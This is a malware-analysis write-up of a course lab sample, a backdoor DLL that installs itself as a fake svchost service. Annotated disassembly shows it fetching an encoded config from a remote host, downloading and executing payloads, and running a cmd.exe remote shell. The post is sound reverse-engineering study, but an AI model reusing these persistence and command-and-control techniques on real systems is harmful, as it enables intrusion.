Post

0x07_Lab03-02

Overview

FilenameSizeMD5
Lab03-02.dll23 KB84882c9d43e23d63b82004fae74ebb61

TL;DR: A malicious service DLL downloading a base64-encoded configuration from a file named serve.html hosted at practicalmalwareanalysis.com:80. This config file is used to download additional payload(s) in the %TEMP% folder using WinINet APIs and/or to execute remote commands using WinSock2 APIs.

Tools: IDA Free 7.0

IDB: Lab03-02.i64


Service Installation

A call to the exported function Install expects either:

  • An empty string
  • One of the strings in the data of the value netsvcs of the key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

If no service name is provided, the default will be IPRIP.

An ALL_ACCESS handle (0x0F003F) to the Service Control Manager is requested, and a new service hosted by svchost is created with the following parameters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; ebx=0
.text:10004865      push    ebx ; lpPassword
.text:10004866      push    ebx ; lpServiceStartName
.text:10004867      push    ebx ; lpDependencies
.text:10004868      push    ebx ; lpdwTagId
.text:10004869      push    ebx ; lpLoadOrderGroup
.text:1000486A      push    offset BinaryPathName   ; %SystemRoot%\System32\svchost.exe -k netsvcs
.text:1000486F      push    SERVICE_ERROR_NORMAL    ; dwErrorControl
.text:10004871      push    SERVICE_AUTO_START      ; dwStartType
.text:10004873      push    SERVICE_WIN32_SHARE_PROCESS ; dwServiceType
.text:10004875      push    SERVICE_ALL_ACCESS      ; dwDesiredAccess
.text:1000487A      push    offset DisplayName      ; "Intranet Network Awareness (INA+)"
.text:1000487F      push    [ebp+str_IPRIP]         ; lpServiceName
.text:10004882      push    esi                     ; hSCManager
.text:10004883      call    ds:CreateServiceA

The registry key SYSTEM\CurrentControlSet\Services\IPRIP is added, and the following ValueName:Data pairs are set for this key:

  • ImagePath : %SystemRoot%\System32\svchost.exe -k netsvcs
  • Description : Depends INA+, Collects and stores network configuration and location information, and notifies applications when this information changes.
  • DisplayName : Intranet Network Awareness (INA+)
  • ErrorControl : 1
  • ObjectName : LocalSystem
  • Start : 2
  • Type : 0x20

The registry key SYSTEM\CurrentControlSet\Services\IPRIP\Parameters is added, and the following ValueName:Data pairs for this key:

  • ServiceDll : path of the dll or path of file actually containing the module
  • DependOnService : RpcSs

This last value means the RpcSs service must be started before the malicious service.

Service Execution

Service execution starts in the ServiceMain(). This function registers a control handler, updates the service status to SERVICE_RUNNING, and calls the main routine doing malicious stuffs.

The control handler is registered with a call to RegisterServiceCtrlHandlerA:

1
2
3
4
5
.text:100031D2      push    offset HandlerProc ; lpHandlerProc
.text:100031D7      push    eax             ; lpServiceName
.text:100031D8      call    ds:RegisterServiceCtrlHandlerA
.text:100031DE      xor     esi, esi
.text:100031E0      mov     hServiceStatus, eax

Inside the handler, we get the following control codes:

ValueResult
1, 5stop service
2pause service
3run service
4keep previous state

Network

Networking features rely both on WinINet and WinSock2 API sets.

In function 0x1000321A, a user-agent string is built by concatenating the hostname (gethostbyname) with the string " Windows XP 6.11".

Downloading the config file

The malware starts its malicious network activity by downloading a file named serve.html thought a HTTP GET request on port 80 sent to the domain practicalmalwareanalysis.com. It expects 0x40 bytes of data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
; connection params
.text:10004584      push    ebp                             ; dwContext
.text:10004585      push    INTERNET_FLAG_KEEP_CONNECTION   ; dwFlags
.text:1000458A      mov     ecx, offset szPassword          ; 0
.text:1000458F      push    INTERNET_SERVICE_HTTP           ; dwService
.text:10004591      push    ecx                             ; lpszPassword
.text:10004592      push    ecx                             ; lpszUserName
.text:10004593      push    80                              ; nServerPort
.text:10004595      push    offset szServerName             ; "practicalmalwareanalysis.com"
.text:1000459A      push    eax                             ; hInternet
.text:1000459B      call    ds:InternetConnectA

; request params
.text:100045AB      push    0                               ; dwContext
.text:100045AD      push    INTERNET_FLAG_NO_CACHE_WRITE    ; dwFlags
.text:100045B2      push    offset lpszAcceptTypes          ; */*
.text:100045B7      push    0                               ; lpszReferrer
.text:100045B9      push    offset szVersion                ; "HTTP/1.1"
.text:100045BE      push    offset szObjectName             ; "serve.html"
.text:100045C3      push    offset szVerb                   ; "GET"
.text:100045C8      push    ebp                             ; hConnect
.text:100045C9      call    ds:HttpOpenRequestA

; download
.text:1000460A      lea     eax, [esp+28h+dwNumberOfBytesRead]
.text:1000460E      push    eax                         ; lpdwNumberOfBytesRead
.text:1000460F      push    40h                         ; dwNumberOfBytesToRead
.text:10004611      push    offset download_buffer_1    ; lpBuffer
.text:10004616      push    [esp+34h+hFile]             ; hFile
.text:1000461A      call    ds:InternetReadFile

Then it retrieve some content within the markers <!-- and --!>.

Marker “start”:

1
2
3
4
5
6
.text:10004674      push    offset tag_start ; "<!--"
.text:10004679      push    [ebp+downloaded_data] ; Str
[...]
.text:10004680      call    esi ; strstr
[...]
.text:10004687      mov     edi, eax

Marker “end”:

1
2
3
.text:10004682      push    offset tag_end  ; "--!>"
.text:10004689      push    [ebp+downloaded_data] ; Str
.text:1000468C      call    esi ; strstr

Copy content to stack buffer:

1
2
3
4
5
6
7
8
9
10
; edi->"<!--"
; eax->"--!>"
.text:10004699      sub     eax, edi        ; end-start
.text:1000469B      add     edi, 4          ; skip tag_start
.text:1000469E      sub     eax, 4          ; sub length of tag_start
.text:100046A1      push    eax             ; Count
.text:100046A2      lea     eax, [ebp+raw_content]
.text:100046A5      push    edi             ; Source
.text:100046A6      push    eax             ; Dest
.text:100046A7      call    ds:strncpy

The raw content extracted from the dowloaded file serve.html is then processed within function 0x10004123. A quick inspection of this function suggests a kind of decoding. The replacement of some characters, such as + by > and / by ? suggests a variant of base64 decode. Finally, playing with the function and some controlled input (toto debug FTW) confirms this function is a base64 decoder:

1
2
3
4
.text:100046B0      push    0               ; size or null
.text:100046B2      push    eax             ; raw_content
.text:100046B3      push    [ebp+ouput]     ; output
.text:100046B6      call    Base64Decode

Once decoded, the config file is parsed. The most interesting commands are d (or D) anc c (or C).

Command “d”: download and execute payload

If the config file contains the command d, function 0x10003415 is called. This function retrieves an ObjectName and a ServerName from the parsed config, and use them in a HTTP GET request. It uses the same Wininet APIs already seen. If the request is successful, it calls HttpQueryInfoA to obtain the length of the payload, uses this length to allocate memory on the heap, and download the payload to the allocated buffer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; query
.text:10003530      lea     eax, [ebp+dwBufferLength]
.text:10003533      push    ebx             ; lpdwIndex
.text:10003534      push    eax             ; lpdwBufferLength
.text:10003535      lea     eax, [ebp+Buffer]
.text:1000353B      push    eax             ; lpBuffer
.text:1000353C      push    HTTP_QUERY_CONTENT_LENGTH ; dwInfoLevel
.text:1000353E      push    [ebp+hInternet] ; hRequest
.text:10003541      mov     [ebp+dwBufferLength], 20h
.text:10003548      call    ds:HttpQueryInfoA

; ascii to int
.text:1000354E      lea     eax, [ebp+Buffer]
.text:10003554      push    eax             ; Str
.text:10003555      call    ds:atol
.text:1000355B      mov     edi, eax

; alloc
.text:1000355D      lea     eax, [edi+1]
.text:10003560      push    eax             ; unsigned int
.text:10003561      call    ??2@YAPAXI@Z    ; operator new(uint)
.text:10003566      pop     ecx
.text:10003567      mov     [ebp+downloaded_data], eax
.text:1000356A                 pop     ecx

; download
.text:1000356B      lea     ecx, [ebp+dwNumberOfBytesRead]
.text:1000356E      push    ecx             ; lpdwNumberOfBytesRead
.text:1000356F      push    edi             ; dwNumberOfBytesToRead
.text:10003570      push    eax             ; lpBuffer
.text:10003571      push    [ebp+hInternet] ; hFile
.text:10003574      call    ds:InternetReadFile

If the download is successful, the payload is AES-decrypted and written to a file in the Windows temporary folder. The file is named according to the ObjectName parameter used by the previous call to HttpOpenRequestA, and the extension .exe is added to it (if ObjectName already has an extension, it is erased with a null byte before). Finally, the payload is executed with a call to CreateProcessA.

Note: to identify the use of AES, I relied on the cryptographic constants generated at runtime (see function 0x10001000 and here for example).

Command “c”: WinSock2 networking

If the config file contains the command c, a new thread is created:

1
2
3
4
5
6
7
8
9
10
.text:10003314 command_c: 
.text:10003314      push    offset ThreadId ; lpThreadId
.text:10003319      lea     eax, [esp+64h+Parameter
.text:1000331D      push    ebx             ; dwCreationFlags
.text:1000331E      push    eax             ; lpParameter
.text:1000331F      push    offset Winsock  ; lpStartAddress
.text:10003324      push    ebx             ; dwStackSize
.text:10003325      push    ebx             ; lpThreadAttributes
.text:10003326      mov     dword_1000D478, ebx
.text:1000332C      call    ds:CreateThread

Similarly to command d, the thread starts by retrieving connection information from the parsed config (passed in the parameter lpThreadParameter). Here, it gets an IPv4 and a port number and uses them to fill a sockaddr_in structure (code not shown as it is similar to the preceeding lab). Then, the base64-encoded string Y29ubmVjdA== (“connect”) is sent:

1
2
3
4
5
6
7
.text:100038BB      push    ds:b64_connect
.text:100038C1      call    strlen
.text:100038C6      pop     ecx
.text:100038C7      push    eax             ; len
.text:100038C8      push    ds:b64_connect  ; data
.text:100038CE      push    esi             ; s
.text:100038CF      call    ds:send

A buffer of 0x1400 bytes is zeroed on the stack, and after some socket selection shenanigans, data are received in this buffer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:100038DD      mov     edi, 1400h
.text:100038E2
.text:100038E2 loop:
.text:100038E2      push    edi             ; Size
.text:100038E3      lea     eax, [ebp+dl_buffer]
.text:100038E9      push    ebx             ; Val
.text:100038EA      push    eax             ; Dst
.text:100038EB      call    memset
[...]
.text:10003944      lea     eax, [ebp+dl_buffer]
.text:1000394A      push    edi             ; len
.text:1000394B      push    eax             ; buffer
.text:1000394C      push    esi             ; s
.text:1000394D      call    ds:recv

The code loops while the data received start with Y29ubmVjdA== (“connect”), and exits if data start with cXVpdA== (“quit”):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
; loop
.text:1000395C      push    ds:b64_connect  ; Str
.text:10003962      call    strlen
.text:10003967      push    eax             ; MaxCount
.text:10003968      lea     eax, [ebp+dl_buffer]
.text:1000396E      push    ds:b64_connect  ; Str
.text:10003974      push    eax             ; Str1
.text:10003975      call    ds:_strnicmp    ; case insensitive secure strings comparison
.text:1000397B      add     esp, 10h
.text:1000397E      test    eax, eax
.text:10003980      jz      loop

; quit
.text:10003986      push    ptr_b64_quit    ; Str
.text:1000398C      call    strlen
.text:10003991      push    eax             ; MaxCount
.text:10003992      lea     eax, [ebp+dl_buffer]
.text:10003998      push    ptr_b64_quit    ; Str
.text:1000399E      push    eax             ; Str1
.text:1000399F      call    ds:_strnicmp
.text:100039A5      add     esp, 10h
.text:100039A8      test    eax, eax
.text:100039AA      jz      short close_socket

If data start with y21k (“cmd”), the function 0x10003a13 is called:

1
2
3
4
5
6
7
8
9
.text:100039B8      lea     eax, [ebp+dl_buffer]
.text:100039BE      push    commands_b64    ; Y21k
.text:100039C4      push    eax             ; Str1
.text:100039C5      call    ds:_strnicmp
.text:100039CB      add     esp, 10h
.text:100039CE      test    eax, eax
.text:100039D0      jnz     loop
.text:100039D6      push    esi
.text:100039D7      call    WinsockShell    ; 0x10003a13

Executing commands with WinSock

Function 0x10003a13 allows the attacker to issue commands remotely. It starts by creating a pipe so stdout and stderr can be redirected there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:10003A75      mov     [ebp+PipeAttributes.nLength], 0Ch
[...]
.text:10003A7D      mov     [ebp+PipeAttributes.lpSecurityDescriptor], ebx ; 0= default SD
.text:10003A80      mov     [ebp+PipeAttributes.bInheritHandle], 1
[...]
.text:10003ABB      lea     eax, [ebp+PipeAttributes]
.text:10003ABE      push    ebx  ; nSize: 0 = default
.text:10003ABF      push    eax
.text:10003AC0      lea     eax, [ebp+hWritePipe]
.text:10003AC3      push    eax
.text:10003AC4      lea     eax, [ebp+hReadPipe]
.text:10003AC7      push    eax 
.text:10003AC8      mov     [ebp+NumberOfBytesRead], ebx
.text:10003ACB      call    ds:CreatePipe

The redirection to the newly created pipe is set up by updating the structure STARTUP_INFO of the process. In addition, the field wShowWindow is set to false:

1
2
3
4
5
6
7
8
9
10
11
12
.text:10003AD9      lea     eax, [ebp+StartupInfo]
.text:10003ADC      mov     [ebp+StartupInfo.cb], 44h
.text:10003AE3      push    eax             ; lpStartupInfo
.text:10003AE4      call    ds:GetStartupInfoA
.text:10003AEA      mov     eax, [ebp+hWritePipe]
[...]
.text:10003AF2      mov     [ebp+StartupInfo.hStdError], eax
.text:10003AF5      mov     [ebp+StartupInfo.hStdOutput], eax
[...]
.text:10003AFE      mov     [ebp+StartupInfo.wShowWindow], bx
[...]
.text:10003B03      mov     [ebp+StartupInfo.dwFlags], 101h ; STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW

Data from stdout and stderr are sent to the pipe, and will be retrieved later with ReadFile and sent (base64-encoded) to the attacker with send. Here is an overview:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+------------------------------------------------------------------+    +-------------+   
| INFECTED HOST                                                    |    | REMOTE BOFH |
|                                                                  |    |             |
|        hWritePipe   +--------+               +--------+          |    |             |
| stdout ---------->  | buffer |  ReadFile()   | buffer |  send()  |    |             |
| stderr ---------->  +--------+  ---------->  +--------+  ---------------->          |
|                                 hReadPipe                        |    |             |
|                                                                  |    |             | 
|                                              +--------+          |    |             |
|                            process data  <-- | buffer |  recv()  |    |             |
|                            and commands      +--------+  <---------------           |
|                                                                  |    |             |
+------------------------------------------------------------------+    +-------------+

Once everything is initialized, base64-encoded commands are received from the remote host. These commands are:

  • cd path: call _chdir() to set the current working directory to path.
  • getfile ObjectName ServerName: use WinInet APIs to download a file from a remote host and write it in the current directory.
  • quit : close handles and leave the function.
  • exit : same as above.

If the received command is not one of the above, it is concatenated with “cmd.exe /c ”, and the resulting string is used in a call to CreateProcessA (parameter lpCommandLine).


EOF

This post is licensed under CC BY 4.0 by the author.